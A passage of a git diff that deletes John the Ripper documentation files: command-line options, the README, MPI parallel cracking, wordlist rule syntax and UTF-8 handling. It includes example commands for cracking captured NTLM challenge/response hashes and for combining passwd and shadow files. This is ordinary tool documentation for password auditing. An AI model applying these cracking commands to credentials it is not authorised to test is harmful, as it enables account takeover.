and brute-force -guessing will be exhaustively time-consuming. - -Example NTLMv1 Challenge/Response (.lc Format): -user::WORKGROUP:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:A37C5C9316D9175589FDC21F260993DAF3644F1AAE2A3DFE:1122334455667788 - -John Usage: -% john -format:netntlm capture.lc - -The LMv2 and NTLMv2 challenge/response protocols both employ unique client -challenges. This additional data effectively defeats the ability to precompute -password/response pairs via Rainbow Tables. It should also be noted that -despite its name, the LMv2 response is computed using a NTLM hash. This results -in a much harder-to-crack response hash, as the password was not truncated to -seven characters or upper-cased during the process. - -The use of NTLMv2 is now the default policy within Microsoft Windows Vista and -Windows 7. Its use can be enforced for older versions via the LAN Manager -Authentication Level Group Policy Object ("Send NTLMv2 response only" (level 3 -or higher)). - -Example LMv2 Challenge/Response (.lc Format): -user::WORKGROUP:1122334455667788:6FAF764ECFDF1D1D9E7BA7B517190F3B:E15C1A679C7609CE - -John Usage: -% john -format:netlmv2 capture.lc - -Example NTLMv2 Challenge/Response (.lc Format): -user::ATS-W759420A:1122334455667788:02E12C3C2B2F5799D2C1A7661AE80491:0101000000000000B0736308F1C9CA01DABA9E3A11AFD91F0000000002001000310030002E0030002E0032002E0032000000000000000000 - -John Usage: -% john -format:netntlmv2 capture.lc - - -[1] http://davenport.sourceforge.net/ntlm.html -[2] http://www.foofus.net/jmk/smbchallenge.html diff --git a/data/john/doc/OPTIONS b/data/john/doc/OPTIONS deleted file mode 100755 index a0f0fa4d87..0000000000 --- a/data/john/doc/OPTIONS +++ /dev/null @@ -1,282 +0,0 @@ - John the Ripper's command line syntax. - (Updated in/for the jumbo patch by Jim Fougeron) - -When invoked with no command line arguments, "john" prints its usage -summary. - -The supported command line arguments are password file names and -options. Many of the supported options accept additional arguments. - -You can list any number of password files right on the command line of -"john". You do not have to specify any options. If valid password -files are specified but no options are given, John will go through -the default selection of cracking modes with their default settings. - -Options may be specified along with password files or on their own, -although some require that password files be specified and some do not -support operation on password files. - -All options are case sensitive, can be abbreviated as long as the -abbreviations are unambiguous, can be prefixed with two dashes -(GNU-style) or with one dash, and can use "=" or ":" to indicate an -argument (if supported for a given option). - -The supported options are as follows, square brackets denote optional -arguments: - ---single[=SECTION] "single crack" mode - -Enables the "single crack" mode, using rules from the configuration -file section [List.Rules:Single]. If --single=Single_2 then the rules -from [List.Rules:Single_2] section would be used. - ---wordlist=FILE wordlist mode, read words from FILE, ---stdin or from stdin - -These are used to enable the wordlist mode. - ---utf8 enable UTF-8 conversion - -John defaults to assuming ISO-8859-1 when converting plaintexts or salts -to UTF-16. Using this flag will enable UTF-8 conversion instead. This affects -many Microsoft formats like NT, mscash and mssql. Formats not affected will -silently ignore this option flag. - ---rules[=SECTION] enable word mangling rules for wordlist mode - -Enables word mangling rules that are read from [List.Rules:Wordlist]. -If --rules=Wordlist_elite was used, then [List.Rules:Wordlist_elite] -would be the section used. - ---incremental[=MODE] "incremental" mode [using section MODE] - -Enables the "incremental" mode, using the specified configuration file -definition (section [Incremental:MODE], or [Incremental:All] by default -except for LM hashes for which the default is [Incremental:LanMan]). - ---external=MODE external mode or word filter - -Enables an external mode, using external functions defined in section -[List.External:MODE]. - ---stdout[=LENGTH] just output candidate passwords - -When used with a cracking mode, except for "single crack", makes John -output the candidate passwords it generates to stdout instead of -actually trying them against password hashes; no password files may be -specified when this option is used. If a LENGTH is given, John -assumes that to be the significant password length and only produces -passwords up to that length. - ---restore[=NAME] restore an interrupted session - -Continues an interrupted cracking session, reading state information -from the specified session file or from $JOHN/john.rec by default. - ---session=NAME give a new session the NAME - -This option can only be used when starting a new cracking session and -its purpose is to give the new session a name (to which John will -append the ".rec" suffix to form the session file name). This is -useful for running multiple instances of John in parallel or to be -able to later recover a session other than the last one you interrupt. -john.log file will also be named NAME.log (whatever 'NAME' is), so -that any logging of the session work will end up in this file. - ---status[=NAME] print status of a session [called NAME] - -Prints status of an interrupted or running session. Note that on a -Unix-like system, you can get a detached running session to update its -session file by sending a SIGHUP to the appropriate "john" process; -then use this option to read in and display the status. - ---make-charset=FILE make a charset, overwriting FILE - -Generates a charset file based on character frequencies from -$JOHN/john.pot, for use with the "incremental" mode. The entire -$JOHN/john.pot will be used for the charset generation by default. You -may restrict the set of passwords used by specifying some password files -(in which case only the cracked passwords that correspond to those -password files will be used), "--format", or/and "--external" (with an -external mode that defines a filter() function). - ---show[=left] show cracked passwords - -Shows the cracked passwords for given password files (which you must -specify). You can use this option while another instance of John is -cracking to see what John did so far; to get the most up to date -information, first send a SIGHUP to the appropriate "john" process. -if --show=left then all uncracked hashes are listed (in a john 'input' -file format way). =left is just that literal string "=left". - ---test[=TIME] run tests and benchmarks for TIME seconds each - -Tests all of the compiled in hashing algorithms for proper operation and -benchmarks them. The "--format" option can be used to restrict this to -a specific algorithm. - ---users=[-]LOGIN|UID[,..] [do not] load this (these) user(s) - -Allows you to select just a few accounts for cracking or for other -operations. A dash before the list can be used to invert the check -(that is, load information for all the accounts that are not listed). - ---groups=[-]GID[,..] load users [not] of this (these) group(s) - -Tells John to load (or to not load) information for accounts in the -specified group(s) only. - ---shells=[-]SHELL[,..] load users with[out] this (these) shell(s) - -This option is useful to load accounts with a valid shell only or to -not load accounts with a bad shell. You can omit the path before a -shell name, so "--shells=csh" will match both "/bin/csh" and -"/usr/bin/csh", while "--shells=/bin/csh" will only match "/bin/csh". - ---salts=[-]COUNT[:MAX] load salts with[out] at least COUNT passwords - -This is a feature which allows to achieve better performance in some -special cases. For example, you can crack only some salts using -"--salts=2" faster and then crack the rest using "--salts=-2". Total -cracking time will be about the same, but you will likely get some -passwords cracked earlier. If MAX is listed, then no hashes are -loaded where there are more than MAX salts. This is so that if you -have run --salts=25 and then later can run --salts=10:24 and none of -the hashes that were already done from the --salts=25 will be re-done. - ---pot=NAME pot filename to use - -By default, john will use john.pot. This override allows using a different -john.pot-like file (to start from, and to store any found password into). - ---format=NAME force hash type NAME - -Allows you to override the hash type detection. Currently, valid -"format names" are DES, BSDI, MD5, BF, AFS, LM, and crypt (and many more -are added with various patches). You can use this option when you're -starting a cracking session or along with one of: "--test", "--show", -"--make-charset". Note that John can't crack hashes of different types -at the same time. If you happen to get a password file that uses more -than one hash type, then you have to invoke John once for each hash type -and you need to use this option to make John crack hashes of types other -than the one it would autodetect by default. - -"--format=crypt" may or may not be supported in a given build of John. -In default builds of John, this support is currently only included on -Linux and Solaris. When specified (and supported), this option makes -John use the system's crypt(3) or crypt_r(3) function. This may be -needed to audit password hashes supported by the system, but not yet -supported by John's own optimized cryptographic routines. Currently, -this is the case for glibc 2.7+ SHA-crypt hashes as used by recent -versions of Fedora and Ubuntu, and for SunMD5 hashes supported (but not -used by default) on recent versions of Solaris. In fact, you do not -have to explicitly specify "--format=crypt" for hashes of these specific -types unless you have other hash types (those supported by John -natively) in the password file(s) as well (in which case another hash -type may get detected unless you specify this option). - -"--format=crypt" is also a way to make John crack crypt(3) hashes of -different types at the same time, but doing so results in poor -performance and in unnecessarily poor results (in terms of passwords -cracked) for hashes of the "faster" types (as compared to the "slower" -ones loaded for cracking at the same time). So you are advised to use -separate invocations of John, one per hash type. - ---subformat=LIST displays all the built-in md5-gen formats, and exits - ---save-memory=LEVEL enable memory saving, at LEVEL 1..3 - -You might need this option if you don't have enough memory or don't -want John to affect other processes too much. Level 1 tells John to -not waste memory on login names; it is only supported when a cracking -mode other than "single crack" is explicitly requested. The only -impact is that you won't see the login names while cracking. Higher -memory saving levels have a performance impact; you should probably -avoid using them unless John doesn't work or gets into swap otherwise. - ---mem-file-size=SIZE max size of wordlist to preload into memory - -One of the significant performance improvements for some builds of -john, is preloading the wordlist file into memory, instead of reading -line by line. This is especially true when running with a large list -of --rules. The default max size file is 5 million bytes. Using this -option allows making this larger. NOTE if --save-memory is used, -then memory file processing is turned off. - ---field-separator-char=c Use 'c' instead of the char ':' - -By design, john works with most files, as 'tokenized' files. The field -separator used by john is the colon ':' character. However, there are -hashes which use the colon in the salt field, and there are users which -may have a colon for a user name (for a couple examples of problems -with it). However, an advanced john user can change the input files, -by using a different character than the ':' (and different than any -other 'used' character), and avoid problems of lines not being properly -processed. The side effects are that the pot file will get this -'character' used in it also (and only lines in the pot file that HAVE -that character will be loaded at startup), and there are other side -effects. Usually, this is ONLY used in very advanced situations, where -the user 'knows what he is doing'. If the character can not be easily -represented by the keyboard, then the format of ---field-separator-char=\xHH can be used. --field-separator-char=\x1F -would represent the character right before the space (space is 0x20) - ---fix-state-delay=N only determine the wordlist offset every N times - -This is an optimization which helps on some systems. This just -limits the number of times that the ftell() call is performed. -The one side effect, is that if john is aborted, and restarted, it -may redo more tests. Thus, the use of this option is only acceptable -and desirable for fast hash types (e.g., raw MD5). - ---nolog turns off john.log file - -This will turn off creation, or updating to the john.log file (which may -have a different name if the --session=NAME flag was used.) Often the -logging is not wanted, and this log file can often become very large -(such as working with many 'fast' rules on a fast format). The log file -is often used to check what work has been done, but if this will not be -needed, and the log file is simply going to be deleted when done, then -running in --nolog mode may be used. - - - Additional utilities. - -There are some related utilities in John's run directory: - - unshadow PASSWORD-FILE SHADOW-FILE - -Combines the "passwd" and "shadow" files (when you already have access -to both) for use with John. You might need this since if you only -used your shadow file, the "Full Name" or "GECOS" information wouldn't -be used by the "single crack" mode (thus reducing its efficiency) and -you wouldn't be able to use the "--groups" and "--shells" options and -to select by UID with "--users". You probably also want to see all of -the passwd file fields with "--show". - -You'll usually want to redirect the output of "unshadow" to a file -which you then pass to John. - - unafs DATABASE-FILE CELL-NAME - -Gets password hashes out of the binary AFS database and produces -output usable by John (you should redirect the output to a file). - - unique OUTPUT-FILE - -Removes duplicates from a wordlist (read from stdin) without changing -the order of entries. You might want to use this with John's -"--stdout" option if you've got a lot of disk space to trade for the -reduced cracking time (on possibly trying some duplicates as they -might be produced with word mangling rules). -This program has been updated. It is faster, it now can 'cut' the -lines (in a couple of ways), and can unique the files data, AND also -unique it against an existing file. - - mailer PASSWORD-FILE - -A shell script to send mail to all the users who got weak passwords. -You should edit the message inside the script before using it. - -Based on (and modified in the jumbo patch): -$Owl: Owl/packages/john/john/doc/OPTIONS,v 1.9 2011/04/27 18:02:49 solar Exp $ diff --git a/data/john/doc/README b/data/john/doc/README deleted file mode 100755 index c21afdb104..0000000000 --- a/data/john/doc/README +++ /dev/null @@ -1,137 +0,0 @@ - John the Ripper password cracker. - -John the Ripper is a fast password cracker, currently available for -many flavors of Unix (11 are officially supported, not counting -different architectures), DOS, Win32, BeOS, and OpenVMS (the latter -requires a contributed patch). Its primary purpose is to detect weak -Unix passwords. Besides several crypt(3) password hash types most -commonly found on various Unix flavors, supported out of the box are -Kerberos/AFS and Windows LM hashes, plus many more with contributed -patches. - - - How to install. - -See INSTALL for information on installing John on your system. - - - How to use. - -To run John, you need to supply it with some password files and -optionally specify a cracking mode, like this, using the default order -of modes and assuming that "passwd" is a copy of your password file: - - john passwd - -or, to restrict it to the wordlist mode only, but permitting the use -of word mangling rules: - - john --wordlist=password.lst --rules passwd - -Cracked passwords will be printed to the terminal and saved in the -file called $JOHN/john.pot (in the documentation and in the -configuration file for John, "$JOHN" refers to John's "home -directory"; which directory it really is depends on how you installed -John). The $JOHN/john.pot file is also used to not load password -hashes that you already cracked when you run John the next time. - -To retrieve the cracked passwords, run: - - john --show passwd - -While cracking, you can press any key for status, or Ctrl-C to abort -the session saving its state to a file ($JOHN/john.rec by default). -If you press Ctrl-C for a second time before John had a chance to -handle your first Ctrl-C, John will abort immediately without saving. -By default, the state is also saved every 10 minutes to permit for -recovery in case of a crash. - -To continue an interrupted session, run: - - john --restore - -These are just the most essential things you can do with John. For -a complete list of command line options and for more complicated usage -examples you should refer to OPTIONS and EXAMPLES, respectively. - -Please note that "binary" (pre-compiled) distributions of John may -include alternate executables instead of just "john". You may need to -choose the executable which fits your system best, e.g. "john-mmx" to -take advantage of MMX acceleration. - - - Features and performance. - -John the Ripper is designed to be both feature-rich and fast. It -combines several cracking modes in one program and is fully -configurable for your particular needs (you can even define a custom -cracking mode using the built-in compiler supporting a subset of C). -Also, John is available for several different platforms which enables -you to use the same cracker everywhere (you can even continue a -cracking session which you started on another platform). - -Out of the box, John supports (and autodetects) the following Unix -crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended -DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and -OpenBSD Blowfish-based (now also used on some Linux distributions and -supported by recent versions of Solaris). Also supported out of the box -are Kerberos/AFS and Windows LM (DES-based) hashes. - -When running on Linux distributions with glibc 2.7+, John 1.7.6+ -additionally supports (and autodetects) SHA-crypt hashes (which are -actually used by recent versions of Fedora and Ubuntu), with optional -OpenMP parallelization (requires GCC 4.2+, needs to be explicitly -enabled at compile-time by uncommenting the proper OMPFLAGS line near -the beginning of the Makefile). - -Similarly, when running on recent versions of Solaris, John 1.7.6+ -supports and autodetects SHA-crypt and SunMD5 hashes, also with -optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio, -needs to be explicitly enabled at compile-time by uncommenting the -proper OMPFLAGS line near the beginning of the Makefile and at runtime -by setting the OMP_NUM_THREADS environment variable to the desired -number of threads). - -John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac -OS X 10.4+ salted SHA-1 hashes. - -Contributed patches, combined into the "jumbo patch", add support for -many more password hash types, including Windows NTLM (MD4-based) -and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary -MD5-based "web application" password hash types, hashes used by SQL -database servers (MySQL, MS SQL, Oracle) and by some LDAP servers, -several hash types used on OpenVMS, password hashes of the Eggdrop IRC -bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs. - -Unlike other crackers, John normally does not use a crypt(3)-style -routine. Instead, it has its own highly optimized modules for different -hash types and processor architectures. Some of the algorithms used, -such as bitslice DES, couldn't have been implemented within the crypt(3) -API; they require a more powerful interface such as the one used in -John. Additionally, there are assembly language routines for several -processor architectures, most importantly for x86-64 and x86 with SSE2. - - - Documentation. - -The rest of documentation is located in separate files, listed here in -the recommended order of reading: - -* INSTALL - installation instructions -* OPTIONS - command line options and additional utilities -* MODES - cracking modes: what they are -* CONFIG (*) - how to customize -* RULES (*) - wordlist rules syntax -* EXTERNAL (*) - defining an external mode -* EXAMPLES - usage examples - strongly recommended -* FAQ - guess -* CHANGES (*) - history of changes -* CONTACT (*) - how to contact the author or otherwise obtain support -* CREDITS (*) - credits -* LICENSE - copyrights and licensing terms - -(*) most users can safely skip these. - -Happy reading! - -$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $ diff --git a/data/john/doc/README.mpi b/data/john/doc/README.mpi deleted file mode 100755 index 847abf4fae..0000000000 --- a/data/john/doc/README.mpi +++ /dev/null @@ -1,154 +0,0 @@ -==================== -PRELUDE: -==================== - The original implementation was ca. 2004 by Ryan Lim as an academic - project. It was later picked up and maintained at bindshell.net, adding - fixes for the JtR 1.7 releases and various cipher patches. - - In 2008, it was picked up by AoZ and stripped back down to the original - MPI-only changes to improve its compatibility with the 'jumbo' patchsets, - which had better-maintained alternate cipher support. This is often - referred to as "the mpi10 patch" - - In 2010, it was extended by magnum to support all cracking modes. This - should be referred to as "the fullmpi patch" to avoid confusion. With the - exception of Markov it is far from perfect but it works just fine and - should support correct resuming in all modes. It is well tested but you - have absolutely NO guarantees. - -==================== -COMPILING: -==================== - Unless using OMP, you should consider applying the nsk-3 patch, also known - as "Faster bitslice DES key setup". - - To enable MPI in John, un-comment these two line in Makefile: - -----8<--------------8<--------------8<--------------8<--------------8<---------- -# Uncomment the TWO lines below for MPI (can be used together with OMP as well) -CC = mpicc -DHAVE_MPI -MPIOBJ = john-mpi.o -----8<--------------8<--------------8<--------------8<--------------8<---------- - - You must have an operational MPI environment prior to both compiling and - using the MPI version; configuring one is outside the scope of this - document but for a single, multi-core, host you don't need much - configuration. MPICH2 or OpenMPI seems to do the job fine, for example. - Most testing of fullmpi is now done under latest stable OpenMPI. - - Debian Linux example for installing OpenMPI: - sudo apt-get install libopenmpi-dev openmpi-bin - - Note that this patch works just fine together with OMP enabled as well. - When MPI is in use (with more than one process), OMP is (by default) - automatically disabled. Advanced users may want to change this setting - (change MPIOMPmutex to N in john.conf) and start one MPI node per - multi-core host, letting OMP do the rest. Warnings are printed; these - can be muted in john.conf too. - -==================== -USAGE: -==================== - Typical invocation is as follows: - - mpiexec -np 4 ./john --incremental passwd - - The above will launch four parallel processes that will split the - Incremental keyspace in a more-or-less even fashion. If you run it to - completion, some nodes will however finish very early due to how this - mode is implemented, decreasing the overall performance. This problem - gets much worse with a lot of nodes. - - In MARKOV mode, the range is automatically split evenly across the nodes, - just like you could do manually. This does not introduce any overhead, - assuming job runs to completion - and also assuming your MPI compiler - behaves. - - The single and wordlist modes scale fairly well and cleartexts will not be - tried by more than one node (except when different word + rule combinations - result in the same candidate, but that problem is not MPI specific). - - In SINGLE mode, and sometimes in Wordlist mode (see below), john will - distribute (actually leapfrog) the rules (after preprocessor expansion). - This works very well but will not likely result in a perfectly even - workload across nodes. - - WORDLIST mode with rules will work the same way. Without rules, or when - rules can't be split across the nodes, john will distribute (again, it - really just leapfrogs) the words instead. This is practically the same as - using the External:Parallel example filter in john.conf, but much more user - friendly. - - If the --mem-file-size parameter (default 5000000) will allow the file to - be loaded in memory, this will be preferred and each node will only load - its own share of words. In this case, there is no further leapfrogging and - no other overhead. Note that the limit is per node, so using the default - and four nodes, a 16 MB file WILL be loaded to memory, with 4 MB on each - node. - - You can override the leapfrogging selection. This is debug code really and - should eventually be replace by proper options: - - --mem-file-size=0 (force split loading, no leapfrog) - --mem-file-size=1 (force leapfrogging of words) - --mem-file-size=2 (force leapfrogging of rules) - - In EXTERNAL mode, john will distribute candidates in the same way as in - Wordlist mode without rules. That is, all candidates will be produced on - all nodes, and then skipped by all nodes but one. This is the mode where - the fullmpi patch performs worst. When attacking very fast formats, this - scales VERY poorly. - - - You may send a USR1 signal to the parent MPI process (or HUP to all - individual processes) to cause the subprocesses to print out their status. - Be aware that they may not appear in order, because they blindly share the - same terminal. - - skill -USR1 -c mpiexec - - Another approach would be to do a normal status print. This must be done - with mpiexec and using the same -np as used for starting the job: - - mpiexec -np 4 ./john --status - - Which will dump the status of each process as recorded in the .rec files. - This way you also get a line with total statistics. - -==================== -CAVEATS: -==================== - - This implementation does not account for heterogeneous clusters or nodes - that come and go. - - In interest of cooperating with other patches, benchmarking is less - accurate. Specifically, it assumes all participant cores are the same - as the fastest. - - Benchmark virtual c/s will appear inflated if launching more processes - than cores available. It will basically indicate what the speed would be - with that many real cores. - - There is no inter-process communication of cracked hashes yet. This means - that if one node cracks a hash, all other nodes will continue to waste - time on it. The current workaround is aborting and restarting the jobs - regularly. This also means that you may have to manually stop some or all - nodes after all hashes are cracked. - - Aborting a job using ctrl-c will often kill all nodes without updating - state files and logs. I have tried to mitigate this but it is still a - good idea to send a -USR1 to the parent before killing them. You should - lower the SAVE parameter in john.conf to 60 (seconds) if running MPI, - this will be the maximum time of repeated work after restarting. - -============================================================ -Following is the verbatim original content of this file: -============================================================ - -This distribution of John the Ripper (1.6.36) requires MPI to compile. - -If you don't have MPI, download and install it before proceeeding. - -Any bugs, patches, comments or love letters should be sent to -jtr-mpi@hash.ryanlim.com. Hate mail, death threates should be sent to -/dev/null. - -Enjoy. --- -Ryan Lim diff --git a/data/john/doc/RULES b/data/john/doc/RULES deleted file mode 100755 index c7c0e851aa..0000000000 --- a/data/john/doc/RULES +++ /dev/null @@ -1,295 +0,0 @@ - Wordlist rules syntax. - -Each wordlist rule consists of optional rule reject flags followed by -one or more simple commands, listed all on one line and optionally -separated with spaces. There's also a preprocessor, which generates -multiple rules for a single source line. Below you will find -descriptions of the rule reject flags, the rule commands (many of them -are compatible with those of Crack 5.0a), and the preprocessor syntax. - - - Rule reject flags. - --: no-op: don't reject --c reject this rule unless current hash type is case-sensitive --8 reject this rule unless current hash type uses 8-bit characters --s reject this rule unless some password hashes were split at loading --p reject this rule unless word pair commands are currently allowed --u reject this rule unless the --utf8 flag is used --U reject this rule if the --utf8 flag is used - - - Numeric constants and variables. - -Numeric constants may be specified and variables referred to with the -following characters: - -0...9 for 0...9 -A...Z for 10...35 -* for max_length -- for (max_length - 1) -+ for (max_length + 1) -a...k user-defined numeric variables (with the "v" command) -l initial or updated word's length (updated whenever "v" is used) -m initial or memorized word's last character position -p position of the character last found with the "/" or "%" commands -z "infinite" position or length (beyond end of word) - -Here max_length is the maximum plaintext length supported for the -current hash type. - -These may be used to specify character positions, substring lengths, and -other numeric parameters to rule commands as appropriate for a given -command. Character positions are numbered starting with 0. Thus, for -example, the initial value of "m" (last character position) is one less -than that of "l" (length). - - - Character classes. - -?? matches "?" -?v matches vowels: "aeiouAEIOU" -?c matches consonants: "bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ" -?w matches whitespace: space and horizontal tabulation characters -?p matches punctuation: ".,:;'?!`" and the double quote character -?s matches symbols "$%^&*()-_+=|\<>[]{}#@/~" -?l matches lowercase letters [a-z] -?u matches uppercase letters [A-Z] -?d matches digits [0-9] -?a matches letters [a-zA-Z] -?x matches letters and digits [a-zA-Z0-9] -?z matches all characters -?b matches characters with 8th bit set (mnemonic "b for binary") - -The complement of a class can be specified by uppercasing its name. For -example, "?D" matches everything but digits. - - - Simple commands. - -: no-op: do nothing to the input word -l convert to lowercase -u convert to uppercase -c capitalize -C lowercase the first character, and uppercase the rest -t toggle case of all characters in the word -TN toggle case of the character in position N -r reverse: "Fred" -> "derF" -d duplicate: "Fred" -> "FredFred" -f reflect: "Fred" -> "FredderF" -{ rotate the word left: "jsmith" -> "smithj" -} rotate the word right: "smithj" -> "jsmith" -$X append character X to the word -^X prefix the word with character X - - - String commands. - -AN"STR" insert string STR into the word at position N - -To append a string, specify "z" for the position. To prefix the word -with a string, specify "0" for the position. - -Although the use of the double-quote character is good for readability, -you may use any other character not found in STR instead. This is -particularly useful when STR contains the double-quote character. -There's no way to escape your quotation character of choice within a -string (preventing it from ending the string and the command), but you -may achieve the same effect by specifying multiple commands one after -another. For example, if you choose to use the forward slash as your -quotation character, yet it happens to be found in a string and you -don't want to reconsider your choice, you may write "Az/yes/$/Az/no/", -which will append the string "yes/no". Of course, it is simpler and -more efficient to use, say, "Az,yes/no," for the same effect. - - - Length control commands. - -N reject the word unless it is greater than N characters long -'N truncate the word at length N - - - English grammar commands. - -p pluralize: "crack" -> "cracks", etc. (lowercase only) -P "crack" -> "cracked", etc. (lowercase only) -I "crack" -> "cracking", etc. (lowercase only) - - - Insert/delete commands. - -[ delete the first character -] delete the last character -DN delete the character in position N -xNM extract substring from position N for up to M characters -iNX insert character X in position N and shift the rest right -oNX overstrike character in position N with character X - -Also see the "X" command (extract and insert substring) under "Memory -access commands" below. - -Note that square brackets ("[" and "]") are special characters to the -preprocessor: you should escape them with a backslash ("\") if using -these commands. - - - Charset conversion commands. - -S shift case: "Crack96" -> "cRACK(^" -V lowercase vowels, uppercase consonants: "Crack96" -> "CRaCK96" -R shift each character right, by keyboard: "Crack96" -> "Vtsvl07" -L shift each character left, by keyboard: "Crack96" -> "Xeaxj85" - - - Memory access commands. - -M memorize the word (for use with "Q", "X", or to update "m") -Q query the memory and reject the word unless it has changed -XNMI extract substring NM from memory and insert into current word at I - -If "Q" or "X" are used without a preceding "M", they read from the -initial "word". In other words, you may assume an implied "M" at the -start of each rule, and there's no need to ever start a rule with "M" -(that "M" would be a no-op). The only reasonable use for "M" is in the -middle of a rule, after some commands have possibly modified the word. - -The intended use for the "Q" command is to help avoid duplicate -candidate passwords that could result from multiple similar rules. For -example, if you have the rule "l" (lowercase) somewhere in your ruleset -and you want to add the rule "lr" (lowercase and reverse), you could -instead write the latter as "lMrQ" in order to avoid producing duplicate -candidate passwords for palindromes. - -The "X" command extracts a substring from memory (or from the initial -word if "M" was never used) starting at position N (in the memorized or -initial word) and going for up to M characters. It inserts the -substring into the current word at position I. The target position may -be "z" for appending the substring, "0" for prefixing the word with it, -or it may be any other valid numeric constant or variable. Some example -uses, assuming that we're at the start of a rule or after an "M", would -be "X011" (duplicate the first character), "Xm1z" (duplicate the last -character), "dX0zz" (triplicate the word), "<4X011X113X215" (duplicate -every character in a short word), ">9x5zX05z" (rotate long words left by -5 characters, same as ">9{{{{{" but faster due to fewer commands), -">9vam4Xa50'l" (rotate right by 5 characters, same as ">9}}}}}"). - - - Numeric commands. - -vVNM update "l" (length), then subtract M from N and assign to variable V - -V must be one of "a" through "k". N and M may be any valid numeric -constants or initialized variables. It is OK to refer to the same -variable in the same command more than once, even three times. For -example, "va00" and "vaaa" will both set the variable "a" to zero (but -the latter will require "a" to have been previously initialized), -whereas "vil2" will set the variable "i" to the current word's length -minus 2. If "i" is then used as a character position before the word is -modified further, it will refer to the second character from the end. -It is OK for intermediate variable values to become negative, but such -values should not be directly used as positions or lengths. For -example, if we follow our "vil2" somewhere later in the same rule with -"vj02vjij", we'll set "j" to "i" plus 2, or to the word's length as of -the time of processing of the "vil2" command earlier in the rule. - - - Character class commands. - -sXY replace all characters X in the word with Y -s?CY replace all characters of class C in the word with Y -@X purge all characters X from the word -@?C purge all characters of class C from the word -!X reject the word if it contains character X -!?C reject the word if it contains a character in class C -/X reject the word unless it contains character X -/?C reject the word unless it contains a character in class C -=NX reject the word unless character in position N is equal to X -=N?C reject the word unless character in position N is in class C -(X reject the word unless its first character is X -(?C reject the word unless its first character is in class C -)X reject the word unless its last character is X -)?C reject the word unless its last character is in class C -%NX reject the word unless it contains at least N instances of X -%N?C reject the word unless it contains at least N characters of class C - - - Extra "single crack" mode commands. - -When defining "single crack" mode rules, extra commands are available -for word pairs support, to control if other commands are applied to the -first, the second, or to both words: - -1 first word only -2 second word only -+ the concatenation of both (should only be used after a "1" or "2") - -If you use some of the above commands in a rule, it will only process -word pairs (e.g., full names from the GECOS field) and reject single -words. A "+" is assumed at the end of any rule that uses some of these -commands, unless you specify it manually. For example, "1l2u" will -convert the first word to lowercase, the second one to uppercase, and -use the concatenation of both. The use for a "+" might be to apply some -more commands: "1l2u+r" will reverse the concatenation of both words, -after applying some commands to them separately. - - - The rule preprocessor. - -The preprocessor is used to combine similar rules into one source line. -For example, if you need to make John try lowercased words with digits -appended, you could write a rule for each digit, 10 rules total. Now -imagine appending two-digit numbers - the configuration file would get -large and ugly. - -With the preprocessor you can do these things easier. Simply write one -source line containing the common part of these rules followed by the -list of characters you would have put into separate rules, in square -brackets (the way you would do in a regexp). The preprocessor will then -generate the rules for you (at John startup for syntax checking, and -once again while cracking, but never keeping all of the expanded rules -in memory). For the examples above, the source lines will be "l$[0-9]" -(lowercase and append a digit) and "l$[0-9]$[0-9]" (lowercase and append -two digits). These source lines will be expanded to 10 and 100 rules, -respectively. By the way, preprocessor commands are processed -right-to-left while character lists are processed left-to-right, which -results in natural ordering of numbers in the above examples and in -other typical cases. Note that arbitrary combinations of character -ranges and character lists are valid. For example, "[aeiou]" will use -vowels, whereas "[aeiou0-9]" will use vowels and digits. If you need to -have John try vowels followed by all other letters, you can use -"[aeioua-z]" - the preprocessor is smart enough not to produce duplicate -rules in such cases (although this behavior may be disabled with the -"\r" magic escape sequence described below). - -There are some special characters in rules ("[" starts a preprocessor -character list, "-" marks a range inside the list, etc.) You should -prefix them with a backslash ("\") if you want to put them inside a rule -without using their special meaning. Of course, the same applies to "\" -itself. Also, if you need to start a preprocessor character list at the -very beginning of a line, you'll have to prefix it with a ":" (the no-op -rule command), or it would be treated as a new section start. - -Finally, the preprocessor supports some magic escape sequences. These -start with a backslash and use characters that you would not normally -need to escape. In the following paragraph describing the escapes, the -word "range" refers to a single instance of a mix of character lists -and/or ranges placed in square brackets as illustrated above. - -Currently supported are "\1" through "\9" for back-references to prior -ranges (these will be substituted by the same character that is -currently substituted for the referenced range, with ranges numbered -from 1, left-to-right), "\0" for back-reference to the immediately -preceding range, "\p" before a range to have that range processed "in -parallel" with preceding ranges, "\p1" through "\p9" to have the range -processed "in parallel" with the specific referenced range, "\p0" to -have the range processed "in parallel" with the immediately preceding -range, and "\r" to allow the range to produce repeated characters. The -"\r" escape is only useful if the range is "parallel" to another one or -if there's at least one other range "parallel" to this one, because you -should not want to actually produce duplicate rules. - -Please refer to the default configuration file for John the Ripper for -many example uses of the features described in here. - -$Owl: Owl/packages/john/john/doc/RULES,v 1.11 2010/02/26 01:13:37 solar Exp $ diff --git a/data/john/doc/UTF8 b/data/john/doc/UTF8 deleted file mode 100755 index db7cddc71f..0000000000 --- a/data/john/doc/UTF8 +++ /dev/null @@ -1,58 +0,0 @@ -This version of John is UTF-8 aware, using a new option flag. In short, -this flag says "my wordlists and input files are encoded in UTF-8" and -it can be used without knowing if the particular format is affected or -not. - -Without this support, John will assume ISO-8859-1 when converting -plaintexts or salts to UTF-16. This affects many Microsoft formats -like NT, mscash and mssql. Other formats, like DES or MD5 are never -doing such conversion, so you would just use wordlists encoded in the -same format as the hashes once were generated in. The --utf8 flag is -supported for such formats too, but will only affect the new reject -rules, see below. - -To enable UTF-8 conversion, just add the --utf8 flag. This will affect -not only wordlist files, but also salts, usernames (when used as salt) -and any info used by --single. You can also test all the UTF-8 aware -formats at once using "john --test --utf8" - -To convert a wordlist to UTF-8, use iconv(1): - -$ iconv -f koi8r -t utf-8 cslang >cslang.utf8 - -You can convert from/to a large number of formats, see iconv's man page. - - -Two new reject rules are implemented: - - -u reject rule unless the --utf8 flag is used - - -U reject rule if the --utf8 flag is used - -Note that this can be used to enable/disable certain rules even for -formats that does not use UTF-16 internally (eg. raw md5 of utf-8 -plaintexts). - - -A new character class is also implemented, ?b (b for binary). It matches -8-bit characters. This can be used with or without the UTF-8 support. - - -Caveats: -- UTF-8 conversion is often 